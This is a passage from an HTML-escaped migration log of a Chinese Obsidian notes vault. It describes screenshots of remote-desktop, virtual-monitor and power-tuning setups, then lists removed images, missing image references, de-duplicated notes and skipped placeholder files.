&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;gppc-2014-solver-comparison-table.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;GPPC 2014 表（全解 1,739,340 例）：预处理组 SRC-dfs 最快 0.145ms（28GB、预处理 11649.5 分钟）、CH 0.362ms（2.4GB、968.8 分钟）。低预处理组：NSubgoal 0.773ms（293MB）、BLJPS2 7.444ms（47MB）、JPS+ 7.732ms、BLJPS 14.453ms；A* Bucket 36.815ms、49600 例未解。历史：JPS(2012) 62.524ms、Tree(2013) 0.029ms。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;ffmpeg-视频处理相关合集&#x2F;assets&#x2F;2019110521511521-20240701172031-2opm7gp-693b14.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;表格「常用视频格式及对应的文件格式」：AVI→AVI；WMV→WMV；MPEG（分 MPEG-1&#x2F;2&#x2F;4）→MPG、MPEG、VOB、DAT、3GP、MP4；Matroska→MKV；Real Video→RM、RMVB；QuickTime File Format→MOV；Flash Video→FLV。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;linux-副屏方案合集&#x2F;assets&#x2F;0df431adcbef76099b0ff2a268dda3cc7cd99e83-20240613001515-nnnmwk2-9475dd.jpg&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;副屏方案效果实拍：主屏全屏运行游戏《崩坏：星穹铁道》，右侧竖立的安卓平板作为副屏显示 Telegram 的 Arch Linux 中文群聊天界面，说明平板副屏可边打游戏边聊天。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;linux-副屏方案合集&#x2F;assets&#x2F;139e5c70548c7b7c89f29d9b2ea85156-20240612234104-8kwz6q4-80ad0e.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;用 xfreerdp 连接 Windows 远程桌面：终端执行 xfreerdp &#x2F;u:zhangpeng &#x2F;p:****** &#x2F;v:10.10.20.2:3389，日志显示加载 cliprdr、rdpdr、rdpsnd 等通道，本地 framebuffer 为 PIXEL_FORMAT_BGR32、远端 RGB32，连接成功后弹出远程桌面窗口。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;linux-副屏方案合集&#x2F;assets&#x2F;224857hfzbf98kpk88mnkm-20240613001945-70kmimn-7f9090.jpg&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Emacs 中查看 xrandr 输出：物理输出 DP-1、HDMI1 均为 disconnected，仅虚拟输出 VIRTUAL1 挂有 1112x808_virt 模式（99.25MHz，行频 67.00KHz，刷新 59.60Hz，时序 1112&#x2F;1184&#x2F;1296&#x2F;1488、808&#x2F;811&#x2F;817&#x2F;848），配合 xrandr --addmode VIRTUAL1 1112x808_virt 与 --output VIRTUAL1 --right-of eDP1 把虚拟屏接到主屏右侧。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;linux-副屏方案合集&#x2F;assets&#x2F;224859rpz8s86sk1f8zgaj-20240613001945-hkqvxq1-c98c06.jpg&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;终端运行 deskreen 启动 Deskreen：日志显示 Deskreen signaling server 已在端口 3131 上线，提示 APPIMAGE 环境变量未定义（非 AppImage 方式启动），并反复输出 Electron contextIsolation 默认值将由 false 改为 true 的弃用警告（node:176234）。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;linux-副屏方案合集&#x2F;assets&#x2F;9d8e1223d9acc906e613cbf0edf5bffe-20240612234104-bq4ra0i-a0c17c.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;xfreerdp 指定分辨率：完整命令 xfreerdp &#x2F;u:zhangpeng &#x2F;p:****** &#x2F;v:10.10.20.2:3389 &#x2F;w:1920 &#x2F;h:1080（图中箭头所指即追加的 &#x2F;w &#x2F;h 参数），日志显示自签名证书告警（CN = DESKTOP-FQAH3KI）、本地 BGR32 &#x2F; 远端 RGB32 framebuffer 及各通道加载。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;linux-笔记本电源管理资料合集&#x2F;assets&#x2F;2021050509035985-20240614003632-4p55275-2ed01d.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;PowerTOP Tuning 页待优化项与脚本：vm 回写间隔改 1500（&#x2F;proc&#x2F;sys&#x2F;vm&#x2F;dirty_writeback_centisecs）；SATA 链路电源 min_power；USB 自动挂起 power&#x2F;control 写 auto；关 NMI watchdog；PCI 设备 Runtime PM 写 auto；网卡 ethtool -s enp2s0 wol d。System 389.0 wakeups&#x2F;s。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;obsidian&#x2F;实现一个简单的-crt-issue24-系列合集&#x2F;assets&#x2F;net-img-44951987-ce5f7780-aea5-11e8-8ddf-5ccd22ba949e-20240421232934-05og0jp-f410c0.png&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;终端演示从 APK 签名块提取证书：在 app-release&#x2F;META-INF 目录用 gcc get_cer_from_pkcs7.c -o get_cer_from_pkcs7 -lcrypto 编译，运行 .&#x2F;get_cer_from_pkcs7 CERT.RSA 生成 my.cer，再用 xxd my.cer 十六进制查看：文件以 3082 0359、3082 0241 开头的 DER 编码证书，其后为版本、序列号、OID 等字段的十六进制与 ASCII 对照。&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;yi-chu-de-zhuang-shi-tu-pian&quot;&gt;移除的装饰图片&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;geek-culture-logo.jpg&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;removed-decorative-image-2.png&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;removed-decoration-webp-34.webp&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;removed-decoration-44.webp&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;removed-decorative-image.webp&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;removed-decoration-png-952f.png&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;removed-decoration-9is5kvdg69.gif&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;removed-decorative-gif.gif&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;tango-view-fullscreen-icon.png&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;decorative-check-icon.svg&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;close-black-button.png&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;close-button-icon.png&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;copycode-icon.gif&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;removed-decorative-image-2-2.png&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;removed-decor-image.png&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;removed-decorative-image-3.png&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;removed-decor-icon.png&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;removed-decoration-png-rk3zp6s.png&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;jingdong-logo.png&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;web-badge-88x31.png&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;network-asset-download.png&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;openlogo-50.png&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;nixcraft-cyberciti-logo.webp&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;null-20250517190443-l464q62-214df8.html&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;pay-help.png&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;pay-time-out.png&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;quote-close-white-icon.png&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;read-count-white-icon.png&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;recharge-button-icon.png&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;url-20241218231652-hh63juu-4cad18.html&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;vip-limited-close-white.png&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;vip-limited-close-group.png&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;obsidian&#x2F;assets&#x2F;migration-log&#x2F;weixin-logo-icon.png&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;obsidian&#x2F;linux-笔记本电源管理资料合集&#x2F;assets&#x2F;0b1331709591d260c1c78e86d0c51c18-20240613163850-wz5llfw-2300d7.gif&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;que-shi-de-tu-pian-yin-yong-yuan-wen-ji-que-shi&quot;&gt;缺失的图片引用（原文即缺失）&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;assets&#x2F;0923eefc85c1bf87f47591222532f1f2-20231227140102-77ehmv6.png&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;assets&#x2F;0lSZklwNLiZrkoitK-20240820231850-mbx1jk4.gif&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;assets&#x2F;1731465-20220215150517634-576303726-20250816092702-4n5oom8.jpg&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;assets&#x2F;1957a271e7c4a96f8b3c7fafa7bb43d9-20250718132247-ognngvv.png&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;assets&#x2F;20210531195354484-20240716113400-1047iqi.png&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;assets&#x2F;32f29686127beb5a3279e630259903ae-20231227140102-nv8432p.png&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;assets&#x2F;640-0054201-20231227140102-2q26i0g.&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;assets&#x2F;640-20211221105837677-20231227140102-63ijbdk.webp&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;assets&#x2F;c9ef31ceacd64468ba15afd1a7dd2ea5tplv-obj10801439-20240119102458-y5x0hnp.image&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;assets&#x2F;img-01c19faa-3935-49f1-b060-3cdf68f90a9b-20250624102543-jx8nkhz.png&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;assets&#x2F;img-1f4a22a1-6b93-47f3-a03d-103f1770dfae-20250624102543-dqy12h3.png&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;assets&#x2F;img-d298b879-770e-4756-950d-33a978c4c967-20250624102542-vh4z6vf.png&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;assets&#x2F;img-f5a19255-7d4c-4e84-b653-a58266de11f9-20250624102542-hktnxlp.png&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;assets&#x2F;img-f778dd83-69d1-4867-8525-683f88348dd9-20250624102543-x796zk6.png&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;assets&#x2F;v2-220e2ec69d48a5cdd20386e3f3635929_b-20231227143706-lcw0yy5.jpg&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;assets&#x2F;v2-28849aa5bc7f67f5fae600809ccfd208_180x120-20231227143335-jx982yo.jpg&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;assets&#x2F;v2-2e3000666651d506fcbf7853021dd7ec_b-20231227143335-h8v4se2.jpg&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;assets&#x2F;v2-3140f0b3a127615e30edb8fe5d23d26d_b-20231227143335-f40ckln.jpg&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;assets&#x2F;v2-355a768c54e5904f1715f363eb6d4077_b-20231227143706-idrq7ti.jpg&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;assets&#x2F;v2-372c6e2d46c4fb36d9cb1a243b05ae01_b-20231227143335-69g4ixb.jpg&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;assets&#x2F;v2-373226d0bfbc101eec1d9f8793119006_b-20231227143335-jys2953.jpg&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;assets&#x2F;v2-4427adaffe3be4e6136b72c29a86a19e_b-20231227143335-ypv5u9i.jpg&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;assets&#x2F;v2-69543c4b3d2efe282105c6cd4a45cb33_b-20231227143335-wbdtqoc.jpg&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;assets&#x2F;v2-7bc7a12c5ff88d4a40211c03d615fc30_b-20231227143706-5uv0bhy.jpg&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;assets&#x2F;v2-a54ef5ea08e20753ed083a9da7e9ff8b_b-20231227143335-t9udyp6.jpg&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;assets&#x2F;v2-b0b1f4866274bbc258bb3a55763df27b_b-20231227143335-niel9xw.jpg&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;tong-ti-qu-zhong-ji-lu-bao-liu-diu-qi&quot;&gt;同题去重记录（保留 ← 丢弃）&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;保留 &lt;code&gt;Rust生命周期集大成者 PhantomData_T_.md&lt;&#x2F;code&gt;，丢弃 &lt;code&gt;Rust生命周期集大成者 PhantomDataT.md&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;保留 &lt;code&gt;C++20中的CPO（定制点对象）与niebloid——ranges受约束算法的调用 - zclll_s blog.md&lt;&#x2F;code&gt;，丢弃 &lt;code&gt;C++20中的CPO（定制点对象）与niebloid——ranges受约束算法的调用 - zcllls blog.md&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;保留 &lt;code&gt;How to Burn a CD or DVD ISO in the Linux Terminal  Baeldung on Linux.md&lt;&#x2F;code&gt;，丢弃 &lt;code&gt;CD-DVD - Debian Wiki&#x2F;How to Burn a CD or DVD ISO in the Linux Terminal _ Baeldung on Linux.md&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;保留 &lt;code&gt;FFmpeg 视频处理等相关&#x2F;ffmpeg转码常用容器、编码格式与解编码器的搭配总结，-c与-f参数的运用.md&lt;&#x2F;code&gt;，丢弃 &lt;code&gt;ffmpeg转码常用容器、编码格式与解编码器的搭配总结，-c与-f参数的运用.md&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;保留 &lt;code&gt;光盘文件格式-udf、iso9660、Joliet、Romeo_怎么看光盘是不是iso9660-CSDN博客.md&lt;&#x2F;code&gt;，丢弃 &lt;code&gt;CD-DVD - Debian Wiki&#x2F;光盘文件格式-udf、iso9660、Joliet、Romeo_怎么看光盘是不是iso9660-CSDN博客.md&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;保留 &lt;code&gt;An unsafe tour of Rust_s Send and Sync.md&lt;&#x2F;code&gt;，丢弃 &lt;code&gt;An unsafe tour of Rusts Send and Sync.md&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;保留 &lt;code&gt;CDDVD - Debian Wiki.md&lt;&#x2F;code&gt;，丢弃 &lt;code&gt;CD-DVD - Debian Wiki.md&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;保留 &lt;code&gt;【C++ 20 并发工具 std__barrier】掌握并发编程：深入理解C++的std__barrier.md&lt;&#x2F;code&gt;，丢弃 &lt;code&gt;【C++ 20 并发工具 stdbarrier】掌握并发编程：深入理解C++的stdbarrier.md&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;保留 &lt;code&gt;Linux Find Out Name Of DVD  CD-ROM  Blu-ray Writer Device.md&lt;&#x2F;code&gt;，丢弃 &lt;code&gt;CD-DVD - Debian Wiki&#x2F;Linux Find Out Name Of DVD  CD-ROM  Blu-ray Writer Device.md&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;保留 &lt;code&gt;vpn&#x2F;nginx中proxy_set_header Host $host的作用及$proxy_host，$host与$http_host的区别.md&lt;&#x2F;code&gt;，丢弃 &lt;code&gt;nginx中proxy_set_header Host $host的作用及$proxy_host，$host与$http_host的区别.md&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;保留 &lt;code&gt;vpn&#x2F;搭建属于自己的cloudflare反代IP _ tanglu_s blog.md&lt;&#x2F;code&gt;，丢弃 &lt;code&gt;搭建属于自己的cloudflare反代IP  tanglus blog.md&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;保留 &lt;code&gt;vpn&#x2F;搭建属于自己的cloudflare反代IP _ tanglu_s blog.md&lt;&#x2F;code&gt;，丢弃 &lt;code&gt;vpn&#x2F;搭建属于自己的cloudflare反代IP  tanglus blog.md&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;保留 &lt;code&gt;Docker格式化输出命令__docker inspect --format_ 学习笔记.md&lt;&#x2F;code&gt;，丢弃 &lt;code&gt;Docker格式化输出命令docker inspect --format 学习笔记.md&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;保留 &lt;code&gt;std__packaged_task 源码级详解.md&lt;&#x2F;code&gt;，丢弃 &lt;code&gt;stdpackaged_task 源码级详解.md&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;保留 &lt;code&gt;BurnCd - Debian Wiki.md&lt;&#x2F;code&gt;，丢弃 &lt;code&gt;CD-DVD - Debian Wiki&#x2F;BurnCd - Debian Wiki.md&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;保留 &lt;code&gt;笔记本电源管理&#x2F;桌面应用_TLP：一个可以延长 Linux 笔记本电池寿命的高级电源管理工具.md&lt;&#x2F;code&gt;，丢弃 &lt;code&gt;笔记本电源管理&#x2F;桌面应用TLP：一个可以延长 Linux 笔记本电池寿命的高级电源管理工具.md&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;保留 &lt;code&gt;linux 副屏方案&#x2F;gnome virtual monitor_ How to Share Virtual Extended Screen in Ubuntu 22.04 _ 24.04.md&lt;&#x2F;code&gt;，丢弃 &lt;code&gt;linux 副屏方案&#x2F;gnome virtual monitor How to Share Virtual Extended Screen in Ubuntu 22.04  24.04.md&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;保留 &lt;code&gt;linux 副屏方案&#x2F;技术_如何使用移动设备作为 Linux 副屏.md&lt;&#x2F;code&gt;，丢弃 &lt;code&gt;linux 副屏方案&#x2F;技术如何使用移动设备作为 Linux 副屏.md&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;保留 &lt;code&gt;vpn&#x2F;CF-Workers-docker.io：Docker仓库镜像代理工具。.md&lt;&#x2F;code&gt;，丢弃 &lt;code&gt;cf-worker&#x2F;CF-Workers-docker.io：Docker仓库镜像代理工具。.md&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;保留 &lt;code&gt;FFmpeg 视频处理等相关&#x2F;【FFmpeg】FFmpeg 相关术语简介 ( 容器 _ 媒体流 _ 数据帧 _ 数据包 _ 编解码器 _ 复用.md&lt;&#x2F;code&gt;，丢弃 &lt;code&gt;FFmpeg 视频处理等相关&#x2F;【FFmpeg】FFmpeg 相关术语简介 ( 容器  媒体流  数据帧  数据包  编解码器  复用.md&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;保留 &lt;code&gt;C++20中的CPO（定制点对象）与niebloid——ranges受约束算法的调用 - zclll_s blog&#x2F;C++ 20 CPO 和 Ranges 新算法.md&lt;&#x2F;code&gt;，丢弃 &lt;code&gt;C++20中的CPO（定制点对象）与niebloid——ranges受约束算法的调用 - zcllls blog&#x2F;C++ 20 CPO 和 Ranges 新算法.md&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;保留 &lt;code&gt;C++20中的CPO（定制点对象）与niebloid——ranges受约束算法的调用 - zclll_s blog&#x2F;Niebloids and Customization Point Objects.md&lt;&#x2F;code&gt;，丢弃 &lt;code&gt;C++20中的CPO（定制点对象）与niebloid——ranges受约束算法的调用 - zcllls blog&#x2F;Niebloids and Customization Point Objects.md&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;保留 &lt;code&gt;C++20中的CPO（定制点对象）与niebloid——ranges受约束算法的调用 - zclll_s blog&#x2F;C++的定制点设计.md&lt;&#x2F;code&gt;，丢弃 &lt;code&gt;C++20中的CPO（定制点对象）与niebloid——ranges受约束算法的调用 - zcllls blog&#x2F;C++的定制点设计.md&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;保留 &lt;code&gt;ssh FQA&#x2F;ERROR_ Secsh channel open FAILED_ Connect failed.md&lt;&#x2F;code&gt;，丢弃 &lt;code&gt;ssh FQA&#x2F;ERROR Secsh channel open FAILED Connect failed.md&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;保留 &lt;code&gt;延时 ACK 与 Nagle 算法结合&#x2F;TCP_NODELAY &amp;amp; Nagle_s Algorithm.md&lt;&#x2F;code&gt;，丢弃 &lt;code&gt;延时 ACK 与 Nagle 算法结合&#x2F;TCP_NODELAY &amp;amp; Nagles Algorithm.md&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;保留 &lt;code&gt;issue24 实现一个简单的CRT&#x2F;Issue16 共享库及符号的版本控制实践_ 动态链接库符号版本控制.md&lt;&#x2F;code&gt;，丢弃 &lt;code&gt;issue24 实现一个简单的CRT&#x2F;Issue16 共享库及符号的版本控制实践 动态链接库符号版本控制.md&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;zheng-wen-wan-quan-zhong-fu-qu-zhong-ji-lu&quot;&gt;正文完全重复去重记录&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;保留 &lt;code&gt;vpn&#x2F;cf-worker.md&lt;&#x2F;code&gt;，丢弃 &lt;code&gt;cf-worker.md&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;保留 &lt;code&gt;How to Burn a CD or DVD ISO in the Linux Terminal  Baeldung on Linux.md&lt;&#x2F;code&gt;，丢弃 &lt;code&gt;CD-DVD - Debian Wiki&#x2F;How to Burn a CD or DVD ISO in the Linux Terminal  Baeldung on Linux.md&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;保留 &lt;code&gt;vpn&#x2F;Nginx如何设置用户登录验证.md&lt;&#x2F;code&gt;，丢弃 &lt;code&gt;Nginx如何设置用户登录验证.md&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;保留 &lt;code&gt;linux 副屏方案&#x2F;gnome virtual monitor_ How to Share Virtual Extended Screen in Ubuntu 22.04 _ 24.04&#x2F;TMP BUGFIX_ Mouse cursor not visible in extend mode over RDP.md&lt;&#x2F;code&gt;，丢弃 &lt;code&gt;linux 副屏方案&#x2F;gnome virtual monitor How to Share Virtual Extended Screen in Ubuntu 22.04  24.04&#x2F;TMP BUGFIX Mouse cursor not visible in extend mode over RDP.md&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;tiao-guo-de-kong-ke-wen-jian&quot;&gt;跳过的空壳文件&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;笔记本电源管理.md&lt;&#x2F;code&gt;（仅 104 字节，标题占位）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;JWT 续签问题.md&lt;&#x2F;code&gt;（仅 486 字节，标题占位）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;rust future async await generator yeild.md&lt;&#x2F;code&gt;（仅 168 字节，标题占位）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;linux 副屏方案.md&lt;&#x2F;code&gt;（仅 216 字节，标题占位）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;深度HIS系统操作功能说明书.md&lt;&#x2F;code&gt;（仅 373 字节，标题占位）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;tput 命令行使用说明&#x2F;grep color.md&lt;&#x2F;code&gt;（仅 113 字节，标题占位）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Qemu win11 虚拟化之Machine Type&#x2F;q35 vs i440fx.md&lt;&#x2F;code&gt;（仅 313 字节，标题占位）&lt;&#x2F;li&gt;
